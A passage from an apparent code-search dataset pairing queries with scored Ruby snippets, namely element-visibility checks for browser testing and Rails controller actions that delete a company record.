there_must_be_a_single_visible(elements)\n expect(elements.count).to eq(1)\n the_element = elements[0]\n expect(the_element.visible?).to be true\n end", "title": "" }, { "docid": "5600e89380a22b1ae46aa7a1fc5ac636", "score": "0.69177955", "text": "def visible?\n perform(:isVisible) == 1\n end", "title": "" }, { "docid": "91aceb2422d08ea039a44ca72b0ba601", "score": "0.69127846", "text": "def visible?\n all_unfiltered(\"./ancestor-or-self::*\").none? do |capybara_node|\n capybara_node.node.style['display'] == 'none'\n end\n end", "title": "" }, { "docid": "f88452e6e20ed8b65cb9e6c824c06351", "score": "0.68962765", "text": "def displayed?\n bridge.element_displayed? @id\n end", "title": "" }, { "docid": "ad0d5906d003e69de79ac1526b440776", "score": "0.687059", "text": "def present?\n element.present?\n end", "title": "" }, { "docid": "2e8510afe47e8e7ffc2f5281125dd33a", "score": "0.68629026", "text": "def assert_visible(tag, element_id)\r\n\t\t\tif RWebSpec.framework =~ /selenium/i\r\n \tperform_assertion { assert(eval(\"#{tag}(:id, '#{element_id.to_s}').displayed?\"), \"Element '#{tag}' with id: '#{element_id}' not visible\") }\r\n\t\t\telse\r\n\t\t\t perform_assertion { assert(eval(\"#{tag}(:id, '#{element_id.to_s}').visible?\"), \"Element '#{tag}' with id: '#{element_id}' not visible\") }\r\n\t\t\tend\r\n end", "title": "" }, { "docid": "712c096c2fe19cc093d4a2b01b95cf79", "score": "0.6845723", "text": "def visible?\n not ( hidden? || ignored? )\n end", "title": "" }, { "docid": "92c296bac31a17ec4d1c783b49d351fb", "score": "0.6802977", "text": "def displayed?(element, arg = nil, with_log = true)\n Log.message('Checking element displayed >>') if with_log\n\n unless element.instance_of?(ElementLocator)\n Log.error('Param <element> is not [ElementLocator] ---Ignored')\n return\n end\n\n # Array should be empty if element(s) absent. This method quicker than waiting for error\n if get_elements(element, arg).empty?\n Log.warning(\"Element(s) #{element.element_id} is not displayed\") if with_log\n false\n else\n Log.message(\"Element(s) #{element.element_id} is displayed\") if with_log\n true\n end\n end", "title": "" }, { "docid": "c270024721311a12be3909212267f5cd", "score": "0.6791934", "text": "def visible?\n synchronize { base.visible? }\n end", "title": "" }, { "docid": "0d6dc22044fd55f7f6caa349a06ee524", "score": "0.6782925", "text": "def visible?\n visible = browser.has_css?(component_locator, :visible)\n unless visible\n detect_server_error!\n end\n visible\n end", "title": "" }, { "docid": "1c84ed30b7441dcbc74ed04a36d965f4", "score": "0.67701733", "text": "def visible?\n @visible ||= value\n end", "title": "" }, { "docid": "b94e671089fb9285d88e680b789ce2ec", "score": "0.67678344", "text": "def assert_visible(tag, element_id)\n begin\n assert(eval(\"#{tag}(:id, '#{element_id.to_s}').visible?\"))\n rescue => e\n raise \"Element '#{tag}' with id: '#{element_id}' not visible, #{e}\"\n end\n end", "title": "" }, { "docid": "c734025b77cb387b39cecd8372290fb5", "score": "0.6751684", "text": "def hidden?\n Element.css(self, 'display') == \"none\"\n end", "title": "" }, { "docid": "8f895f702edec2b22d912a744a72ae0d", "score": "0.67374355", "text": "def present?\n exists? && visible?\n end", "title": "" }, { "docid": "54d70e1c5089bebed9c7785357960683", "score": "0.67292213", "text": "def is_visible\n return self.visible\n end", "title": "" }, { "docid": "54d70e1c5089bebed9c7785357960683", "score": "0.67292213", "text": "def is_visible\n return self.visible\n end", "title": "" }, { "docid": "7adfbf8514829356b283c049c87ba91a", "score": "0.67209405", "text": "def visible?\n false\n end", "title": "" }, { "docid": "9c7bf406fe7caba571353e3e27a94577", "score": "0.6696401", "text": "def displayed?(driver = $focus_driver)\n driver.find_element(self).displayed?\n end", "title": "" }, { "docid": "9c7bf406fe7caba571353e3e27a94577", "score": "0.6696401", "text": "def displayed?(driver = $focus_driver)\n driver.find_element(self).displayed?\n end", "title": "" }, { "docid": "0b746bd65e2a62fbcc2e4d311e3e5e5b", "score": "0.6685037", "text": "def is_element_present_and_displayed?(how, what, driver = nil)\n element_appeared?(how, what, driver, check_display = true)\n end", "title": "" }, { "docid": "32924aa909e48c2ec35c004f0f32fccb", "score": "0.66840756", "text": "def present?\n exists? && visible?\n end", "title": "" }, { "docid": "e5301bf33f93b7c62557e3f6abe6733e", "score": "0.66726243", "text": "def element_should_be_present(loc)\r\n begin\n return $browser.element(parse_location(loc)).visible?\r\n rescue Exception => e\r\n return false\r\n end\n end", "title": "" }, { "docid": "7c89d3f39119931e971c1f12545547b9", "score": "0.6645019", "text": "def assert_visible element_locator\r\n command 'assertVisible', element_locator\r\n end", "title": "" }, { "docid": "b7da75be8d602405f5430f5992f0f1d0", "score": "0.66440076", "text": "def visible?(locator)\n boolean_command \"isVisible\", [locator,]\n end", "title": "" }, { "docid": "146baa62f0c48f23100c0a7c29cdbbee", "score": "0.6639823", "text": "def visible?\n base.visible?\n end", "title": "" }, { "docid": "a397b64eea513d32c084d3003ded3f59", "score": "0.6634062", "text": "def wait_until_visible\n wait_for_visibility(true) { DriverManager.driver.find_element(@by, @locator).displayed? }\n end", "title": "" }, { "docid": "f1a5d230444c984e02666774d92d9399", "score": "0.662005", "text": "def visible\n return @visible\n end", "title": "" }, { "docid": "f1a5d230444c984e02666774d92d9399", "score": "0.662005", "text": "def visible\n return @visible\n end", "title": "" }, { "docid": "f1a5d230444c984e02666774d92d9399", "score": "0.662005", "text": "def visible\n return @visible\n end", "title": "" }, { "docid": "fce0f7d38cab64291e3b71f0c7f91abe", "score": "0.66144663", "text": "def visible?\n self.published? && !self.hidden?\n end", "title": "" }, { "docid": "2e1e4720e0235f4ca07368bb3980fb46", "score": "0.66100144", "text": "def visible?\n interface.visible?\n end", "title": "" }, { "docid": "ca2341608e4b130285f6af45d5d92ff6", "score": "0.6583128", "text": "def element_exists(type, element)\n elem = query(type, element)\n elem.displayed?\n end", "title": "" }, { "docid": "045bb80ee975f6a249070513f8510e38", "score": "0.65748155", "text": "def visible?\n @dialog ? true : false\n end", "title": "" }, { "docid": "85227de0dad3ec8dd243e4f50810b2ec", "score": "0.6569912", "text": "def visible?\n @dialog.visible?\n end", "title": "" }, { "docid": "ea4a1625ccc8f9d59d78f4601d9f47d7", "score": "0.6568729", "text": "def iter_visible?(iter)\n true\n end", "title": "" }, { "docid": "0b6d831500021ed0ea922a136ad5b9a4", "score": "0.656721", "text": "def visible?\n if ta_visible || peer_visible\n true\n else\n errors.add(:base, I18n.t('activerecord.errors.models.criterion.visibility_error'))\n false\n end\n end", "title": "" }, { "docid": "0b6d831500021ed0ea922a136ad5b9a4", "score": "0.656721", "text": "def visible?\n if ta_visible || peer_visible\n true\n else\n errors.add(:base, I18n.t('activerecord.errors.models.criterion.visibility_error'))\n false\n end\n end", "title": "" }, { "docid": "dedcd9c649cee9924eb5b3e02e2eda51", "score": "0.6554511", "text": "def that_visible_elements_matches?(results_table)\r\n result = true\r\n results_table.each do |element|\r\n expected_element = element[0]\r\n unless self.check_for?(field_name(expected_element))\r\n result = false\r\n puts \"#{expected_element} not found.\"\r\n end\r\n end\r\n result\r\n end", "title": "" }, { "docid": "9ca55c9df1409076b9fffaa2bb60a28f", "score": "0.6540457", "text": "def has_elements?\n [email protected]?\n end", "title": "" }, { "docid": "9ca55c9df1409076b9fffaa2bb60a28f", "score": "0.6540048", "text": "def has_elements?\n [email protected]?\n end", "title": "" }, { "docid": "21020ad071a8f10e8dab1afd442384be", "score": "0.65167445", "text": "def visible?\n self.publicly_visible? == false\n end", "title": "" }, { "docid": "47938807f7df2618a3a0390831688fac", "score": "0.65142345", "text": "def displayed?(locator_type, web_element)\n begin\n @driver.find_element(locator_type, web_element)\n true\n rescue\n false\n end\n end", "title": "" }, { "docid": "2cfda77a693714af02185cb4fdfb1693", "score": "0.65053076", "text": "def visible?\n @visible ||= (value && value.size > 0) \n end", "title": "" }, { "docid": "6a0e0778b0d66c55a10bec6a73ab13f9", "score": "0.6497978", "text": "def present?\n assert_exists\n @element.displayed?\n rescue UnknownObjectException, UnknownFrameException\n false\n rescue Selenium::WebDriver::Error::StaleElementReferenceError\n reset!\n retry\n end", "title": "" }, { "docid": "a49cdcee17a259b235d6810d4cc9f051", "score": "0.64916486", "text": "def visible?\n true unless allow_display == false\n end", "title": "" }, { "docid": "46eec7ff1ae5a96b22fe92b326f76a98", "score": "0.6484995", "text": "def visible?\n wait_until_exists\n @window.visible?\n end", "title": "" }, { "docid": "0f70ba76d23cecc5cb7e6d89049132bb", "score": "0.6480668", "text": "def visible?\n Functions.window_visible(hwnd)\n end", "title": "" }, { "docid": "b98144fbb934d42f47354d90c4341490", "score": "0.644997", "text": "def visible?\n super\n end", "title": "" }, { "docid": "7433b2937f336babb28c9ad9667ffb12", "score": "0.64459854", "text": "def display_common_elements?\n true\n end", "title": "" }, { "docid": "c37ad76bed0fc30115a0c8fa98772d10", "score": "0.64295", "text": "def visible?\n status != \"hidden\"\n end", "title": "" }, { "docid": "0a39bbc54df27adddab926403afaf13a", "score": "0.64180815", "text": "def when_visible(timeout=5)\n Object::Watir::Wait.until(timeout, \"Element was not visible in #{timeout} seconds\") do\n visible?\n end\n self\n end", "title": "" }, { "docid": "04ac6acf05cc92b5d305bfe6fa4a5876", "score": "0.6417839", "text": "def elements_present?\r\n begin\r\n present = (self.search_input_element.present? and self.satellite_element.present?)\r\n rescue Selenium::WebDriver::Error::UnknownError\r\n present = false\r\n end\r\n present\r\n end", "title": "" }, { "docid": "735f494455a3b851447be7be3db5251c", "score": "0.6414058", "text": "def render?\n visible?\n end", "title": "" }, { "docid": "fc906833623a7e41405d58092fbef5c4", "score": "0.64135855", "text": "def visible? cell\n # finds cell's coordinates inside visible_cells collections to determine if cell is visible\n state.visible_cells.find { |c| c.x == cell.x && c.y == cell.y}\n end", "title": "" }, { "docid": "b8c7827857f48e82e856ff27be649aa1", "score": "0.6412622", "text": "def visible\r\n return @window.visible\r\n end", "title": "" }, { "docid": "8f51316645a45faac97acfeffa54d2d9", "score": "0.6400561", "text": "def is_element_displayed(access_type,access_name)\n\tWAIT.until{$driver.find_element(:\"#{access_type}\" => \"#{access_name}\")}.displayed?\nend", "title": "" }, { "docid": "a4dd180a6e42ef8fc72894499b74efd3", "score": "0.6395482", "text": "def visible?; end", "title": "" }, { "docid": "ca0045ef97a878cf302b5654bde3ecda", "score": "0.63685346", "text": "def is_css_visible?(page, id_name)\n\t\texpect(find(:xpath, getXpath(page, id_name)).visible?).to eq true\n\tend", "title": "" }, { "docid": "df428b2570fe09d06bf17dddb81150e2", "score": "0.6367456", "text": "def visible?\n ret=WinUser.IsWindowVisible(hwnd)\n ret != WIN_FALSE\n end", "title": "" }, { "docid": "7ed6a8489e821f0cd6e8696ac36319f1", "score": "0.63661015", "text": "def elements?\n @elements\n end", "title": "" }, { "docid": "a41825fdbb74b67a90a23c313ced8975", "score": "0.63590664", "text": "def when_visible(timeout=::PageObject.default_element_wait)\n when_present(timeout)\n element.wait_until(timeout: timeout, message: \"Element not visible in #{timeout} seconds\", &:visible?)\n self\n end", "title": "" }, { "docid": "a41825fdbb74b67a90a23c313ced8975", "score": "0.63590664", "text": "def when_visible(timeout=::PageObject.default_element_wait)\n when_present(timeout)\n element.wait_until(timeout: timeout, message: \"Element not visible in #{timeout} seconds\", &:visible?)\n self\n end", "title": "" }, { "docid": "cfc192fcff86b5228f6956a94cf76d09", "score": "0.6345053", "text": "def hidden?\n !visible?\n end", "title": "" } ]
c9156181282d0bbf18d202de96f33f91
DELETE /companies/1 DELETE /companies/1.json
[ { "docid": "abb5aa593c88884a259639fe28f01528", "score": "0.74335843", "text": "def destroy\n @company.destroy\n @companies = Company.all\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json {render json: {message: @companies}, status: 200}\n end\n end", "title": "" } ]
[ { "docid": "b39a03413d606391c52e7c71e957a049", "score": "0.8019473", "text": "def delete\n render json: Company.delete(params[\"id\"])\n end", "title": "" }, { "docid": "5ff96663ef4eea6c4a06d9ce0fe8bad1", "score": "0.7862428", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "83fdb045e3f63b495cd536f1342f974a", "score": "0.76931924", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "af93c6cdeea32e94a2ba9ab698aa1354", "score": "0.76426274", "text": "def destroy\r\n @company = Company.find(params[:id])\r\n @company.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to companies_url }\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "ffc5b9e16681b768e160b3baaf8e9a16", "score": "0.76239645", "text": "def destroy\n @crunch_company = CrunchCompany.find(params[:id])\n @crunch_company.destroy\n\n respond_to do |format|\n format.html { redirect_to crunch_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb4962e325e6a9dd5ddd7f2e8f29b77c", "score": "0.76221794", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb4962e325e6a9dd5ddd7f2e8f29b77c", "score": "0.76221794", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cb4962e325e6a9dd5ddd7f2e8f29b77c", "score": "0.76221794", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "5455a01abf17c61cf8beaff699e8c17c", "score": "0.756952", "text": "def destroy\n @company = set_company\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_path, notice: \"#{@company.name} has been deleted.\" }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "86a1ed2c5650f241303d2f4c1ec4af58", "score": "0.75480443", "text": "def destroy\n @biz_company = BizCompany.find(params[:id])\n @biz_company.destroy\n\n respond_to do |format|\n format.html { redirect_to biz_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d4482c543331ba853bb038d21190c642", "score": "0.7540624", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_path, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "feb760e9f4f2cfa71a6e40e4e20161a0", "score": "0.7439207", "text": "def destroy\n @ins_company = InsCompany.find(params[:id])\n @ins_company.destroy\n\n respond_to do |format|\n format.html { redirect_to ins_companies_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "57062d71a920d797e4bb11acb5f60950", "score": "0.74236715", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: t(\"company_destroyed\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "8cdd05358b2c004a6146b6804e19cead", "score": "0.7419607", "text": "def destroy\n @rail_company.destroy\n respond_to do |format|\n format.html { redirect_to rail_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ee2a42c9b438e1b525b330004b99cef6", "score": "0.74146533", "text": "def destroy\n @company.destroy\n respond_to do |format|\n #format.html { redirect_to companys_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.74092007", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e58d0b23b873208a032652c513c807e3", "score": "0.7408257", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6318b5c460104ed6170f5371b1fdf339", "score": "0.7404522", "text": "def destroy\n @company.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "f2ac0048bab863b5c69fece97df7786b", "score": "0.7404496", "text": "def destroy\n #@company = Company.find_by_slug(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f5b653c57eeb392613231f2e0392d661", "score": "0.7402079", "text": "def destroy\n @company = Company.find(id_from_params)\n @company.accounts.delete(current_user.account)\n #current_user.companies.delete(@company)\n #@company.destroy\n\n respond_to do |format|\n format.html { redirect_to root_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0bef6a1a2d2e37e29f6fac06b51e2422", "score": "0.7363719", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html {redirect_to companies_url, notice: 'Company was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "0bef6a1a2d2e37e29f6fac06b51e2422", "score": "0.73634434", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html {redirect_to companies_url, notice: 'Company was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "title": "" }, { "docid": "aaefa17376a0789eb0578357c15829e4", "score": "0.7363389", "text": "def destroy\n @global_company = GlobalCompany.find(params[:id])\n @global_company.destroy\n\n respond_to do |format|\n format.html { redirect_to global_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a25a444c5be227d0400d685d498f51d1", "score": "0.7342985", "text": "def destroy\n @contact_company.destroy\n respond_to do |format|\n format.html { redirect_to contact_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "62b12b699dfb8b903eb3122cc9d4e77b", "score": "0.73370504", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n flash[:notice] = \"company deleted\" \n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2201e02008dd84c06099057ed83176c2", "score": "0.7334044", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d696737bb6d0e46f3ae40502752951d5", "score": "0.7331407", "text": "def destroy\n\t\t@company = Company.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to companies_url }\n\t\t\tformat.json { head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "d46fed16759659e0fd7546fcbd8abeb4", "score": "0.73298657", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "57d20a8ec61912603348bc51198f1be7", "score": "0.7328874", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Cliente eliminado con exito' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "40475a39673a153753c6ebebb49778d2", "score": "0.73157066", "text": "def destroy\n @guarantee_company.destroy\n respond_to do |format|\n format.html { redirect_to guarantee_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cc04bdb6d6f6cc10097640711cba4cc8", "score": "0.7310378", "text": "def destroy\n @visit_company.destroy\n respond_to do |format|\n format.html { redirect_to visit_companies_url, notice: 'Visit company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "53062c2fa9532250bb7a84937be3ec39", "score": "0.73053056", "text": "def destroy\n @new_company.destroy\n respond_to do |format|\n format.html { redirect_to new_companies_url, notice: 'New company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "cc2ef659c269ec649b570dbd054cc8df", "score": "0.7287419", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Bar Deletado.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d71dddcb04083121a3ec52c7cea8cf72", "score": "0.7271005", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Person was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "34b2e073368b9886c21d284c9f7065c6", "score": "0.7249489", "text": "def destroy\n @title = \"Destroy Company\"\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "af6e9bea2e5ba69b12aa5f2627a5ee73", "score": "0.7249134", "text": "def destroy\n @admin_company_detail = Admin::CompanyDetail.find(params[:id])\n @admin_company_detail.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_company_details_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "b0b2097b7e2e3138c1d4a8ad3f7861bf", "score": "0.72469836", "text": "def destroy\n @company = Company.find(params[:id])\n\n respond_to do |format|\n if @company.destroy\n format.html { redirect_to companies_url,\n notice: (crud_notice('destroyed', @company) + \"#{undo_link(@company)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to companies_url, alert: \"#{@company.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @company.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "201ff162024069d494f5d4d7be56e359", "score": "0.7244161", "text": "def destroy\n @company = current_user.companies.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "7043804bc5b4383a563e653ff39ce779", "score": "0.72411484", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n add_to_log(t('Company destroy log') + @company.name,\"companies\",\"destroy\")\n\n respond_to do |format|\n format.html { redirect_to(companies_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "b7cf4efe7a3daa81c6ebaa6a00a70256", "score": "0.72378993", "text": "def destroy\n @business_company.destroy\n respond_to do |format|\n format.html { redirect_to business_companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "373211e479d5f431e8fbe9274ed7cf77", "score": "0.7236462", "text": "def destroy\n @account_company.destroy\n respond_to do |format|\n format.html { redirect_to account_companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c54b443d75d0667d67d86d386162b89d", "score": "0.7236374", "text": "def destroy\n @customer_company.destroy\n respond_to do |format|\n format.html { redirect_to customer_companies_url, notice: t(\"controllers.destroy_success\") }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "def938f4438faa2c5ae10e106d9170a0", "score": "0.7229617", "text": "def destroy\n Company.transaction do\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "54df6b3c262ef04f12161820258ec5c0", "score": "0.7170472", "text": "def destroy\n @tyc_company.destroy\n respond_to do |format|\n format.html { redirect_to tyc_companies_url, notice: 'Company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b092c2eff1b5ec8363501105fbe82e2e", "score": "0.7168318", "text": "def destroy\n @company_account = CompanyAccount.find(params[:id])\n @company_account.destroy\n\n respond_to do |format|\n format.html { redirect_to company_accounts_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": 